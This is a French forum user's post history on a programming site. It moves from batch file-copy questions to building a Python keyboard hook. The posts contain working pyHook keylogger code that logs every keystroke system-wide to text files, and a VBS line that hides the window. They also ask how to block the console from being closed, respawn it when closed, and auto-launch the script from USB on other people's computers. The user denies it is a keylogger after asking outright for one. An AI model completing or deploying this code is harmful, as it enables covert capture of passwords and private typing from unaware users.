logo Homepage
+  NewbieContest
Username:
Password:
  Voir les messages
Pages: [1] 2
1  Programmation / Autres langages / Re : Python - Tkinter le: 12 Décembre 2018 à 07:16:29
Ok, merci
2  Programmation / Autres langages / Re : Python - Tkinter le: 11 Décembre 2018 à 17:47:14
Ok merci, j'ai essayé :

Le cmd s'ouvre.
Le cd path fonctionne
Le python script.py fonctionne.

Tout fonctionne merci beaucoup.


Du coup, j'ai encore une petite erreur sur deux, trois programmes (sur Internet ça marche) mais par exemple sur Bloc Notes ou Recherche Windows, le programme a une erreur (avec les 8 fichiers manquants). Est-ce-que vous savez comment la régler ? Parce que ce n'est pas un keylogger, c'est pour avoir les raccourcis. Et la personne n'y aurait pas accès souvent ...




Sur un sujet tout autre, est-ce-que vous sauriez comment automatiser le lancement d'un programme vbs (qui lance un fichier batch, qui lance python et telecharge les modules) à partir d'une clef USB, ou autre ? Parce que j'ai plusieurs tests à faire (avec un autre programme de calcul) (pour les nombres premiers) et j'ai pas mal de personnes qui acceptent de me "prêter" un peu de leur ordi. Du coup, je n'y aurai pas accès et j'aimerai automatiser le telechargement des modules, et du lancement du programme calculs_nb-premiers.py.  Et le meilleur moyen que j'ai trouvé, c'est par clef USB. Sauf que les autoruns ont (apparement) été bloqués. Donc, comment est-ce-que vous feriez ?

Merci
3  Programmation / Autres langages / Re : Python - Tkinter le: 10 Décembre 2018 à 20:39:12
Non, ça ne marche pas.

Par contre, le Run Program fonctionne. Mais le cd chemin\d'accès, start programme.py ne fonctionne pas.

Aussi, j'ai le programme A :

Code:
import pythoncom, pyHook, sys, logging, tkinter

file_log='LOG.txt'


def onKeyboardEvent(event):
    logging.basicConfig(filename=file_log,level=logging.DEBUG,format='%(message)s')
    lettre = chr(event.Ascii)
    logging.log(10,chr(event.Ascii))
    fichier = open("LOGA.txt", "a")
    if event.Ascii != 13:
        fichier.write(chr(event.Ascii + 32))
    else:
        fichier.write('\n')
    fichier.close
   
    return True

hooks_manager=pyHook.HookManager()

hooks_manager.KeyDown=onKeyboardEvent

hooks_manager.HookKeyboard()

pythoncom.PumpMessages()

end = int(input())

Et le programme B :

Code:
from win32api import GetKeyState
from win32con import VK_CAPITAL
import pythoncom, pyHook, sys, logging, tkinter


file_log='LOG.txt'


def onKeyboardEvent(event):
    print(event.Ascii)
    logging.basicConfig(filename=file_log,level=logging.DEBUG,format='%(message)s')
    lettre = chr(event.Ascii)
    logging.log(10,chr(event.Ascii))
    fichier = open("LOGA.txt", "a")
    if event.Ascii != 13:
        if GetKeyState(VK_CAPITAL) == 0:
            fichier.write(chr(event.Ascii + 32))
        else:
            if event.Ascii >= 97 and event.Ascii <= 122:
                fichier.write(chr(event.Ascii))
    else:
        fichier.write('\n')
    fichier.close
   
    return True

hooks_manager=pyHook.HookManager()

hooks_manager.KeyDown=onKeyboardEvent

hooks_manager.HookKeyboard()

pythoncom.PumpMessages()

end = int(input())


Et dans le Run Program, le programme A fonctionne (pas en double cliquant dessus), mais le B considère le event.Ascii comme un 0, même si la touche 'a' est tapée ...

4  Programmation / Autres langages / Re : Python - Tkinter le: 09 Décembre 2018 à 20:34:32
Désolé, j'ai encore changé.

Cette fois, j'utilise pythoncom. Je l'ai telechargé à partir d'un fichier .wml et il est dans Telechargements. Mon programme est sur IDLE est j'appelle import pythoncom. Quand je fais Run Program, tout va bien' le programme fonctionne. Mais quand je fais double clic sur la page, l'invite Python s'ouvre et se ferme directement. J'ai entraperçu, en spammant le double clic, que pythoncom n'était pas reconnu.

Comment faire ?
Merci
5  Programmation / Autres langages / Re : Python - Tkinter le: 09 Décembre 2018 à 17:37:26
Du coup, j'ai été sur Pygame.

Mais pareil, j'ai cru voir que les events comme récupérer les saisies claviers ne fonctionnaient que lorsque la fenêtre Pygame était ouverte...

Pour pyHook, il faut installer un truc supplémentaire PyWin32. Sauf que sur le lien donné, il n'existe plus. Et ça a l'air bien compliqué ...

Donc, pour Pygame c'est possible ou pas ?

Merci
6  Programmation / Autres langages / Re : Python - Tkinter le: 09 Décembre 2018 à 13:05:38
Ok merci, et oui le script complet c'est ça :

Code:
CreateObject("Wscript.Shell").Run """" & WScript.Arguments(0) & """", 0, False

Et du coup, pour faire tourner même si fenêtre inactive, vous n'avez pas d'idées ?

7  Programmation / Autres langages / Re : Python - Tkinter le: 09 Décembre 2018 à 12:41:48
Ok merci beaucoup !

En fait, je connais pas C++ c'est pour ça que j'utilise Python.

Mais, sur un autre forum, on m'a dit de mettre le WScriptShell ,0 , False, en vbs, je connaissais déjà et j'ai essayé. Ca cache la fenêtre mais, c'est tout. Dès qu'on clique ailleurs, le programme ne tourne plus.

Et est-ce-que Tkinter est intégré à ST ?

Merci
8  Programmation / Autres langages / Re : Python - Tkinter le: 08 Décembre 2018 à 13:51:26
Bonjour, merci pour ta réponse, voici plusieurs infos supplémentaires :

J'ai amélioré mon programme :

Code:
import tkinter as tk

root = tk.Tk()
root.withdraw()


def ecrire(event):
    print(event.char, end = "")

root.bind('a', ecrire)
root.bind('b', ecrire)
root.bind('c', ecrire)
root.bind('d', ecrire)
root.bind('e', ecrire)
root.bind('f', ecrire)
root.bind('g', ecrire)
root.bind('h', ecrire)
root.bind('i', ecrire)
root.bind('j', ecrire)
root.bind('k', ecrire)
root.bind('l', ecrire)
root.bind('m', ecrire)
root.bind('n', ecrire)
root.bind('o', ecrire)
root.bind('p', ecrire)
root.bind('q', ecrire)
root.bind('r', ecrire)
root.bind('s', ecrire)
root.bind('t', ecrire)
root.bind('u', ecrire)
root.bind('v', ecrire)
root.bind('w', ecrire)
root.bind('x', ecrire)
root.bind('y', ecrire)
root.bind('z', ecrire)
root.bind('0', ecrire)
root.bind('1', ecrire)
root.bind('2', ecrire)
root.bind('3', ecrire)
root.bind('4', ecrire)
root.bind('5', ecrire)
root.bind('6', ecrire)
root.bind('7', ecrire)
root.bind('8', ecrire)
root.bind('9', ecrire)
root.bind('<space>', ecrire)
root.bind('A', ecrire)
root.bind('B', ecrire)
root.bind('C', ecrire)
root.bind('D', ecrire)
root.bind('E', ecrire)
root.bind('F', ecrire)
root.bind('G', ecrire)
root.bind('H', ecrire)
root.bind('I', ecrire)
root.bind('J', ecrire)
root.bind('K', ecrire)
root.bind('L', ecrire)
root.bind('M', ecrire)
root.bind('N', ecrire)
root.bind('O', ecrire)
root.bind('P', ecrire)
root.bind('Q', ecrire)
root.bind('R', ecrire)
root.bind('S', ecrire)
root.bind('T', ecrire)
root.bind('U', ecrire)
root.bind('V', ecrire)
root.bind('W', ecrire)
root.bind('X', ecrire)
root.bind('Y', ecrire)
root.bind('Z', ecrire)
root.bind('.', ecrire)
root.bind(',', ecrire)
root.bind('?', ecrire)
root.bind('!', ecrire)


root.mainloop()


Il est un peu long, mais c'est un premier jet. En fait, j'ai IDLE et Sublime Text et du coup, il vaut mieux prendre ST parce qu'il est plus puissant ? Et j'ai pris Tkinter parce qu'il était inclus au téléchargement de IDLE Python. (Ou quelque chose comme ça, en tout cas je n'ai pas eu à faire plus d'un téléchargement).

Et donc, mon code :

Code:
root = tk.Tk()
root.withdraw()

Il cache la fenêtre tkinter. Avec la plume.

Ensuite, les chiffres, lettres, caractères ...


Du coup, je suis dans IDLE et je fais Run Program, là ça m'ouvre le Shell (et pas le Tkinter grâce au root.withdraw) et ça écrit bien les lettres que j'écris. Sauf que si je clique ailleurs, ça marche plus.
Et quand je double clique sur le programme quand je suis dans l'Explorateur de fichiers, la fenêtre noire (un peu comme l'invite de commande) s'ouvre mais il ne se passe rien.

Et donc, ce que je voudrais faire, c'est que mon programme se lance, et fonctionne tout le temps même quand la fenêtre n'est pas cliquée et qu'on est sur Internet. Ainsi, l'utilisateur tape n'importe où (même dans le vide (sans case d'écriture selectionnée)) notepad.start (et le python lance le notepad). En fait, ça je ne demande pas d'aide pour faire ça, mais je le marque juste (l'explication de pourquoi je veux faire ça) parce que je me suis déjà fait rembarré parce la personne pensait que c'était pour un keylogger. (Je trouve ça idiot d'accuser à longueur de temps en plus parce que les gens sont pas idiots (tu tapes Rvlk sur Internet et en 3clics et 5 minutes, on a un keylogger super puissant alors pourquoi s'embêter à en faire un soi-même ...)).

Donc, est-ce-que c'est possible avec Tkinter, ou Pygame ou autre de cacher la fenêtre (ou juste cliquer ailleurs) et qu'elle fonctionne ? Parce que sinon, je peux changer de language .

Merci
9  Programmation / Autres langages / Python - Tkinter le: 06 Décembre 2018 à 18:44:11
Salut, cette fois c'est du python, avec tkinter.

J'ai un programme :

Code:
from tkinter import *

root = Tk()

def fonction(event):
    print(event)
       
root.bind('a', fonction)
root.bind('b', fonction)



root.mainloop()

input()

Qui récupère la touche appuyée par l'utilisateur.

Sauf que j'ai deux problèmes :

(J'ai IDLE Python 3.6 32 bits)

Quand je fais "Run programme" à partir de la fenêtre de base, il s'ouvre et fonctionne.
Par  contre quand je double clique (la fenêtre noire) il se ferme directement ...

Et est-ce-que c'est possible de le faire tourner en tâche de fond ? Sans avoir la fenêtre ouverte ? Parce que c'est pour faire un raccourci clavier, mais si c'est pour que la fenêtre soit ouverte, autant juste faire un input().

Merci
10  Programmation / Autres langages / Re : BATCH - Commande robocopy le: 06 Décembre 2018 à 13:11:22
Merci, en fait c'était une erreur, il faut un pack spécifique pour l'utiliser.

Mais j'ai encore une autre question : Est-ce-qu'on peut savoir si une touche est enfoncée ou non sur un clavier ? Sans une saisie utilisateur avec l'invite de commande qui attend l'information. Juste, si une personne appuie sur "A", le script batch reconnaît et effectue des actions ?

Oui, aussi j'ai un .bat qui lance un .vbs et les deux sont dans le même dossier. Le problème c'est que le .bat ne trouve pas le .vbs

.bat :

start blabla.vbs

"Windows n'a pas trouvé blabla.vbs"

Le seul truc qui marche c'est faire glisser le .bat sur le .vbs en le prenant avec la souris.

Merci
11  Programmation / Autres langages / Re : BATCH - Commande robocopy le: 02 Décembre 2018 à 17:23:33
Ok merci beaucoup, ça fonctionne.

Du coup, je continue et les problèmes pleuvent ...

Maintenant, je voudrais faire un RUN("notepad.exe") puis un SEND. Le run peut être remplacé par un start, mais le send non. Du coup, le problème est que le cmd me dit que ni RUN, ni SEND ne sont reconnus.


La phrase exacte :

C:\Users\admin>send
'send' n'est pas reconnu en tant que commande interne
ou externe, un programme exécutable ou un fichier de commandes.



J'ai regardé sur Internet, et j'ai essayé de rajouter ceci : %SystemRoot%\system32;%SystemRoot%;%SystemRoot%\System32\Wbem;%SYSTEMROOT%\System32\WindowsPowerShell\v1.0\ dans le panneau config, Système, Système avancé, Variables d'environnement.

Sauf que ça ne marche toujours pas ...

Du coup, comment faire ?

Merci
12  Programmation / Autres langages / Re : BATCH - Commande robocopy le: 01 Décembre 2018 à 17:15:22
Du coup, j'ai une autre question.

Est-ce-que c'est possible de :
 1) Soit empêcher l'utilisateur de fermer l'invite de commande qui résulte d'un programme bat.
 2) Soit la cacher complètement.
 3) Faire un script qui se déclenche si l'uitlisateur ferme le script. (De préférence celui-ci).

Tout ça en bat.

J'ai regardé sur Internet, et il y'a des solutions en vbs qui existent, mais je voudrais tout faire en bat, si possible.

Merci
13  Programmation / Autres langages / Re : BATCH - Commande robocopy le: 29 Novembre 2018 à 20:05:42
Ok merci ! J'ai trouvé pas mal de choses grâce à toi !

Pour la Q1, ça fonctionne et mon programme copie bien tous les fichiers de P: vers Q:

Pour la Q2, je n'ai pas encore essayé ta méthode, mais elle consiste bien à faire une copie des dossiers puis copier le contenu de P: ?

Pour la Q3, j'ai trouvé :     for /d %%X (Q:\*) do xcopy P:\ %%X /e /h ...     Et du coup ça copie P:\ dans tous les dossiers de Q:\. Enfin, j'ai essayé une fois, ça a marché, et j'ai essayé ailleurs et ça n'a pas marché. Je pense (et je suis sûr à 90%) que c'est mon code qui était faux.


Mais merci beaucoup !!



Et j'en profite pour juste vite fait :


Question 4 :

Est-il possible de faire un keylogger maison ? Pas un énorme avec les cables et l'emetteur wi-fi, juste un programme "vite-fait" en batch (ou autre) qui copie les touches du clavier et les mets dans un fichier (n'importe lequel). Un peu comme une saisie utilisateur en batch, mais passive et tout le temps. Pour la lancer, on pourrait faire un Planificateur de tâche, comme la Q1.
Je précise, parce que j'ai vu sur plusieurs forums que c'était mal vu (parce que illégal), que ce n'est pas pour espionner, c'est juste pour apprendre à en faire un et apprendre un nouveau language (ou approfondir le batch).

Merci !

14  Programmation / Autres langages / Re : BATCH - Commande robocopy le: 29 Novembre 2018 à 12:25:35
Ok ! Merci beaucoup, ça fonctionne.

Et pour les autres questions, vous avez une idée ?

Merci
15  Programmation / Autres langages / Re : BATCH - Commande robocopy le: 27 Novembre 2018 à 18:29:23
QUESTION 3:

Partie 1 :

Cette fois ci, je voudrais faire un programme batch qui automatise la copie de fichiers.

C'est-à-dire un programme en batch, (pas trop compliqué de préférence, je suis un débutant ...), qui copie n fois (n le nombre de dossiers) un fichier nommé "FICHIER" dans des dossiers différents, mais situés au même niveau de l'arborescence. On aurait alors :

 -1 : Copie dans dossier A
 -2 : Copie dans dossier B
 -3 : Copie dans dossier C
....


Donc on aurait :

 -Dossier A : (Contenu) bla blabla FICHIER
 -Dossier B : (Contenu) bla blabla FICHIER
 ...

Et cela automatiquement. Comment faire ?


Partie 2 :

Juste une très légère variante : on a :

 -Dossier X : Dossier A : bla bla bla FICHIER
                    Dossier B : blablabla FICHIER
 - Dossier Y : Dossier C : blabla FICHIER
....

C'est à dire des dossiers dans des dossiers. J'imagine qu'on fait juste Dossier X\Dossiers mais en plus compliqué ...

Partie 3 :

Un peu plus tordu :

On a Dossier Y, qui contient Dossier A, Dossier B et "Dossier SECRET". On veut que robocopy copie dans Dossier A, puis Dossier B, mais pas Dossier Secret. J'ai cru comprendre qu'on mettait "-Dossier SECRET" à la fin du programme. C'est ça ?


Merci beaucoup !
Pages: [1] 2